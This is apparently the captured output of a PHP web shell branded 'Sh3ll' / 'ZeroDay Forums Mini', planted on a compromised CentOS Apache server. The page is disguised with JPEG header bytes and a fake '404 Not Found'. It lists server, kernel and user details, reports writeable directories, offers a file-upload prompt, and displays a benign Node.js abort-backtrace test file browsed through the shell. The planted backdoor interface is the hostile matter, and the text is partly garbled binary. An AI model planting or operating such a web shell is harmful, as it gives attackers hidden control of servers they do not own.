����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/abort/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/abort/test-abort-backtrace.js
'use strict';
const common = require('../common');
const assert = require('assert');
const cp = require('child_process');

if (process.argv[2] === 'child') {
  process.abort();
} else {
  const child = cp.spawnSync(`${process.execPath}`, [`${__filename}`, 'child']);
  const stderr = child.stderr.toString();

  assert.strictEqual(child.stdout.toString(), '');
  // Stderr will be empty for systems that don't support backtraces.
  if (stderr !== '') {
    const frames = stderr.trimRight().split('\n').map((s) => s.trim());

    if (!frames.every((frame, index) => frame.startsWith(`${index + 1}:`))) {
      assert.fail(`Each frame should start with a frame number:\n${stderr}`);
    }

    if (!common.isWindows) {
      const { getBinaryPath } = require('../common/shared-lib-util');
      if (!frames.some((frame) => frame.includes(`[${getBinaryPath()}]`))) {
        assert.fail(`Some frames should include the binary name:\n${stderr}`);
      }
    }
  }
}

ZeroDay Forums Mini